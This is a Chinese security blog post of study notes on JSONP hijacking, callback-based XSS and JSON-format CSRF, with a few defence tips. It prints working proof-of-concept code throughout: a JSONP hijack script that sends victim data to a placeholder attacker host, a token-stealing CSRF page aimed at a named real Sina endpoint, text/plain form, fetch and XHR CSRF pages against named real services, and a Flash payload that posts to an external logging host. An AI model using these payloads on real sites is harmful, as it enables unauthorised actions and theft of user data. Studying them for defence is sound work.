凡心所向,素履所往

json与jsonp的学习与分析

字数统计: 4.4k阅读时长: 21 min
2019/07/21 Share

[TOC]

json与jsonp的学习与分析

json和jsonp的区别

避免在后续的工作中把json和jsonp搞混,这里说明下其区别

json是一种传输格式,这个不用多说,而jsonp简单来说就是利用script标签绕过同源策略,获得一个类似这样的数据,只支持get请求

json劫持这里属于csrf的范畴,通过回调函数名称,进行敏感数据获取。

<script>
function test(data){
    //alert(v.name);
    var xmlhttp = new XMLHttpRequest();
    var url = "http://xx.xx.xx.xx/" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="http://xx.xx.xx.xx/1.php?callback=test"></script>

jsonp 简介

json padding 将json数据填充进回调函数;在客户端创建一个回调函数并将回调函数名传给服务端,服务端根据定义的回调函数名的方法,将获取的json数据传入方法,完成回调。

jsonp 风险

jsonp劫持

利用条件

  • 只使用csrf-token进行csrf校验

获取csrf token这类跨域问题,CORS、PostMessage以及jsonp,这里我们先讨论jsonp的情况,在遇到这类时,可以先尝试检查是否存在泄漏token的jsonp。

利用方式

  • 测试方法,在get url中添加jsonp常用回调函数(可以根据具体的情况判断),常用函数名的变量名如下:
    callback、jsonpcallback、func
    
    通过jsonp获取到后端身份校验token,构造CSRF页面 嵌入获取到的token值,进行后段绕过校验CSRF攻击。
    利用示例:
    <html>
    <head>
    <title>test</title>
    <meta charset="utf-8">
    </head>
    <body>
    <form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend">
    <input type="hidden" name="bid" value="9947">
    <input type="hidden" name="tid" value="">
    <input type="hidden" name="content" value="这是测试结果">
    <input type="hidden" name="title" value="这是测试标题">
    <input type="hidden" id="token" name="_csrf_token" value="">
    <input type="hidden" name="anonymous" value="1">
    </form>
    <script type="text/javascript">
    function hehehe(obj){
      console.log(obj);
      var csrf_token = obj["result"]["data"]["_csrf_token"];
      document.getElementById("token").value = csrf_token;
      document.getElementById("csrfsend").submit();
    }
    </script>
    <script type="text/javascript" src="http://guba.sina.com.cn/api/?s=Thread&a=safe_post&callback=hehehe&bid=9947"></script>
    </body>
    </html>
    

    防范措施

  • referer限制(注意referer过滤是否正则可绕过如http://www.qq.com.attack.com/attack.htm或http://www.attack.com/attack.htm?qq.com、空referer)
  • 随机token

callback可自定义导致的安全问题 典型案例

Content-Type与XSS漏洞

利用条件
  • 输出json时,没有严格定义Content-Type(Content-Type: application/json)
  • callback 输出点没有进行过滤处理
利用方式
防范
  • 严格定义Content-Type: application/json
  1. Content-Type校验不严漏洞

在python Bottle中出现过这个问题,对应的cve编号CVE-2014-3137,在该漏洞中Bottle框架会接受诸如“text / plain; application / json”作为json内容 application/json
类型,攻击者可能会使用它来绕过安全机制,例如,Chrome不允许将内容类型设置为“application / json”的跨源xmlhttprequests,但在bottel中可以将其设置为“text / plain; application / json”绕过。

绕过形式 Content-Type防御解析HTML的事件,例如在IE6、7等版本请求的URL文件后加一个/x.html就可以解析

http://127.0.0.1/getUsers.php/x.html?callback=<script>alert(/xss/)</script>
  • 过滤callback以及JSON数据输出
    注意 旧版ie中的utf7-BOM导致的问题

MHTML与JSONP

MHTML(MIME HTML协议)协议解析跨域漏洞,这个有点老,先不管

FLASH与JSONP

这个也是早年的漏洞问题了,这里要稍微注意下content-type与jsonp的关系,执行jsonp的状态下

Content-Type = 'application/json;charset=UTF-8' 
Content-Type = 'text/json;charset=UTF-8' 
Content-Type = 'text/javascript;charset=UTF-8' 
Content-Type ='application/javascript;charset=UTF-8'

严格来说json格式也属于js对象的子集,严格的JavaScript对象表示法来表示结构化的数据,所以使用content-type为javascript时,服务端也认可客户端提交的json格式数据。

FLASH的调用及域
  • html调用flash,flash可以改后缀名(swf改成gif等)。
  • flash可以单独访问,但是其效果类似与html调用同域的flash,但只这个后缀必须是swf。
  • flash发动请求时,是根据flash的域来判断的,而不是html来判断:
  1. flash请求同域资源时,直接忽视crossdomain.xml。
  2. flash(跨域传输数据)请求外域资源时,受外域下crossdomain.xml里的策略限制。

在CSRF的防御策略上,一般是通过referer以及token校验,但在借用flash上传的时候,可以绕过CSRF的referer和token限制。在只有referer校验的CSRF,就可以直接用 上传flash利用,在有token校验的时候,就要劫持token,在用到jsonp,就可以用jsonp劫持token,进一步利用

利用思路

利用思路如下:

  1. 将flash文件上传到存在上传处的目标网站中
  2. 用户触发该flash中的csrf代码,由于flash请求同源资源时,直接忽视crossdomain.xml,flash发送的请求的Referer是flash的因此referer校验无效,在存在jsonp劫持的条件下,可以获取用户token,这个时候token校验值也无效了。通过flash上传+jsonp劫持绕过referer校验和token校验达到CSRF。
利用验证

在利用这个jsonp之前,先来了解一下swf-json-csrf

利用环境
  • 支持旧版本flash浏览器
    GET以及POST请求可用:

chrome 61.0及以前

firefox 52.0.1及以前

Opera 47.0及以前

Safari 11.0及以前

  • 开启referer验证+token验证

利用JSONP进行水坑攻击

这个是乌云里面一篇较早的文章了,水坑攻击者在有漏洞的网站上部署上可触发获取别的网站有用信息的js,如:攻击者在A网站上插入了可执行的js,建立水坑;js利用callback获取第三方网站B上的对应用户信息;将获取的信息解析发送给攻击者自己的接收平台。

JSON风险

目标是 利用FLASH利用JSON跨站点请求伪造

JSON格式的CSRF

当数据内容提交为json格式的报文时,CSRF和常规的CSRF就不一样了,即便这个CSRF没有校验referer和token,这个时候post的数据用form形式提交,将json内容放在name属性中,这个时候会有一个value值,当这个value值为空的时候,数值会有一个”=”,正常情况下服务端json解析器在校验的时候可能会拒绝这个请求(不符合格式)。

随意在burp里面翻了个包来测试 效果如下:

POST /get_flags_async HTTP/1.1
Host: experiment.appadhoc.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://blog.csdn.net/
Content-Type: application/json;charset=UTF-8
Content-Length: 551
Origin: https://blog.csdn.net
Connection: close

{"app_key":"*****","client_id":"*****","summary":{"sdk_api_version":"2.0","sdk_version":"4.24.0","OS":"Mac OS","os_version":"10.13","os_version_name":"10.13","device_model":"MacIntel","country":"CN","language":"zh","locale":"zh_CN","display_height":728,"display_width":1440,"device_type":"Mac","device_vendor":"","url":"*****","referrer":"","browser":"Firefox","browser_version":"56.0","browser_version_name":"56.0","browser_engine":"Gecko","source":""},"custom":{}}

借用burp生成的csrf的POC,将json内容置为name,value置为空

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://experiment.appadhoc.com/get_flags_async" method="POST" enctype="text/plain">
      <input type="hidden" name="{"app_key":"******","client_id":"******","summary":{"sdk_api_version":"2.0","sdk_version":"4.24.0","OS":"Mac OS","os_version":"10.13","os_version_name":"10.13","device_model":"MacIntel","country":"CN","language":"zh","locale":"zh_CN","display_height":728,"display_width":1440,"device_type":"Mac","device_vendor":"","url":"******","referrer":"","browser":"Firefox","browser_version":"56.0","browser_version_name":"56.0","browser_engine":"Gecko","source":""},"custom":{}}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

请求内容如下:

POST /get_flags_async HTTP/1.1
Host: experiment.appadhoc.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://burp/
Content-Type: text/plain
Content-Length: 554
Connection: close
Upgrade-Insecure-Requests: 1

{"app_key":"******","client_id":"******","summary":{"sdk_api_version":"2.0","sdk_version":"4.24.0","OS":"Mac OS","os_version":"10.13","os_version_name":"10.13","device_model":"MacIntel","country":"CN","language":"zh","locale":"zh_CN","display_height":728,"display_width":1440,"device_type":"Mac","device_vendor":"","url":"******","referrer":"","browser":"Firefox","browser_version":"56.0","browser_version_name":"56.0","browser_engine":"Gecko","source":""},"custom":{}}=

返回结果:json解析器并不解析,并且Content-Type为也由原本的application/json转换为text/plain类型

HTTP/1.1 400 Bad Request
Server: nginx/1.12.2
Date: Fri, 22 Feb 2019 07:52:08 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 77
Connection: close
Access-Control-Allow-Origin: *

The request content was malformed:
unknown token =
Near: e":""},"custom":{}}=

服务器查找json格式的数据但不验证Content-type

对于服务器查找json格式的数据但不验证Content-type的情况,可以尝试以下方法(使用Content-type:text / plain来实现):

  • 方法一 fetch api的调用
    <html>
    <title>JSON CSRF POC</title>
    <body>
    <center>
    <h1> JSON CSRF POC </h1>
    <script>
    fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
    </script>
    <form action="#">
    <input type="button" value="Submit" />
    </form>
    </center>
    </body>
    </html>
    
  • 方法二 hackerone 上的方法
    <html>
    <head>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
    <script>
    $( document ).ready(function() {
      $("#z").attr("name",'{"entity":"https://zzz.com","type":"domain","time":"'+($.now()/1000)+'","project":"<<LAST_PROJECT>>","is_debugging":false,"plugin":"chrome-wakatime/1.0.2","fakeparam":"');
      $("#f").submit();
    });
    </script>
    </head>
    <body>
    <form id="f" ENCTYPE="text/plain" action="https://api.wakatime.com/api/v1/users/current/heartbeats" method="post">
    <input id="z" type="hidden" name='test' value='test"}'> 
    <input type="submit" value="send">
    </form>
    </body>
    </html>
    

给value赋予一个值,构造正常的json数据包
形式一:用单引号构造

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://experiment.appadhoc.com/get_flags_async" method="POST" enctype="text/plain">
      <input name='{"app_key":"*****","client_id":"*****","summary":{"sdk_api_version":"2.0","sdk_version":"4.24.0","OS":"Mac OS","os_version":"10.13","os_version_name":"10.13","device_model":"MacIntel","country":"CN","language":"zh","locale":"zh_CN","display_height":728,"display_width":1440,"device_type":"Mac","device_vendor":"","url":"https://blog.csdn.net/","referrer":"","browser":"Firefox","browser_version":"56.0","browser_version_name":"56.0","browser_engine":"Gecko","source":""},"custom":{},"test":"' value='test"}' type='hidden'> 
      <input type=submit> 
    </form>
  </body>
</html>


请求数据:
POST /get_flags_async HTTP/1.1
Host: experiment.appadhoc.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: text/plain
Content-Length: 124
Connection: close
Upgrade-Insecure-Requests: 1

{"app_key":"*****","client_id":"*****","summary":{"sdk_api_version":"2.0","sdk_version":"4.24.0","OS":"Mac OS","os_version":"10.13","os_version_name":"10.13","device_model":"MacIntel","country":"CN","language":"zh","locale":"zh_CN","display_height":728,"display_width":1440,"device_type":"Mac","device_vendor":"","url":"*****","referrer":"","browser":"Firefox","browser_version":"56.0","browser_version_name":"56.0","browser_engine":"Gecko","source":""},"custom":{},"test":"=test"}

返回200

服务器查找json格式的数据并验证Content-type,即application/json

但在校验Content-type的情况下,这个时候上述方法就行不不通了。这个时候可以用ajax来自定义数据头,XHRHTTPREQUEST修改Content-Type,改成application/json

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://www.xxx.com/webnet/edit", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}));
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

但是这个有个缺陷,使用xmlhttprequest的时候,会先发一个OPTIONS请求预检(非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为”预检”请求,即浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错),在使用XHR的时候空域状态下会有跨域限制。这里涉及到cors跨域限制的问题,详情可以看看
https://my.oschina.net/hccake/blog/886602'

预检请求:

OPTIONS /get_flags_async HTTP/1.1
Host: experiment.appadhoc.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: null
Connection: close

其中如果浏览器否定了”预检”请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。
报错:

Access to XMLHttpRequest at 'https://experiment.appadhoc.com/get_flags_async' from origin 'null' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

服务器设置允许任意域名跨域请求与可携带cookie进行了冲突,这个问题是后端配置的问题
(axios默认是发送请求的时候不会带上cookie的,需要通过设置withCredentials: true来解决。 这个时候需要注意需要后端配合设置实际的origin,不能为* )

遇到cors跨域请求不通过的时候flash + 307 跳转就可以派上用场了。

flash + 307 即SWF_JSON_CSRF-待补充

参考 https://github.com/sp1d3r/swf_json_csrf

  • as编辑swf文件
    编辑修改swf文件这里我用的是ffdec
    构造payload如下
    `
    package
    {
    import flash.display.Sprite;
    import flash.net.URLLoader;
    import flash.net.URLRequest;
    import flash.net.URLRequestHeader;
    import flash.net.URLRequestMethod;

    public class re extends Sprite
    {

  public function re()
  {
     var member1:Object = null;
     var myJson:String = null;
     Wonderfl.capture(stage);
     super();
     Wonderfl.capture(stage);
     member1 = new Object();
     member1 = {
        "name":"attacker",
        "email":"[email protected]"
     };
     var myData:Object = member1;
     myJson = JSON.stringify(myData);
     myJson = JSON.stringify(myData);
     var url:String = "http://xxxxx.ceye.io";
     var request:URLRequest = new URLRequest(url);
     request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
     request.data = myJson;
     request.method = URLRequestMethod.POST;
     var urlLoader:URLLoader = new URLLoader();
     try
     {
        urlLoader.load(request);
        return;
     }
     catch(e:Error)
     {
        trace(e);
        return;
     }
  }

}
}

- php307 跳转

由于307跳转会带上原有的数据格式和类型,所以使用307跳转

如:

<?php

// redirect automatically

header(“Location: https://xx.xxx.xx/xx", true, 307);

?>

# 参考

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html
https://my.oschina.net/hccake/blog/886602
https://www.freebuf.com/articles/web/164234.html
https://www.cnblogs.com/blacksunny/p/7930126.html
http://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/
https://github.com/sp1d3r/swf_json_csrf
https://github.com/bottlepy/bottle/issues/616
https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html
https://www.csdn.net/article/2015-07-14/2825207
https://book.2cto.com/201310/34316.html
http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/
http://cm2.pw/
`

补充

CORS与JSONP的区别-待补充

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

CATALOG
  1. 1. json与jsonp的学习与分析
    1. 1.1. json和jsonp的区别
    2. 1.2. jsonp 简介
    3. 1.3. jsonp 风险
      1. 1.3.1. jsonp劫持
        1. 1.3.1.1. 利用条件
        2. 1.3.1.2. 利用方式
        3. 1.3.1.3. 防范措施
      2. 1.3.2. callback可自定义导致的安全问题 典型案例
        1. 1.3.2.1. Content-Type与XSS漏洞
          1. 1.3.2.1.1. 利用条件
          2. 1.3.2.1.2. 利用方式
          3. 1.3.2.1.3. 防范
      3. 1.3.3. MHTML与JSONP
      4. 1.3.4. FLASH与JSONP
        1. 1.3.4.0.1. FLASH的调用及域
        2. 1.3.4.0.2. 利用思路
        3. 1.3.4.0.3. 利用验证
          1. 1.3.4.0.3.1. 利用环境
    4. 1.3.5. 利用JSONP进行水坑攻击
  2. 1.4. JSON风险
    1. 1.4.1. JSON格式的CSRF
      1. 1.4.1.1. 服务器查找json格式的数据但不验证Content-type
      2. 1.4.1.2. 服务器查找json格式的数据并验证Content-type,即application/json
        1. 1.4.1.2.1. flash + 307 即SWF_JSON_CSRF-待补充
  • 2. 补充
    1. 2.1. CORS与JSONP的区别-待补充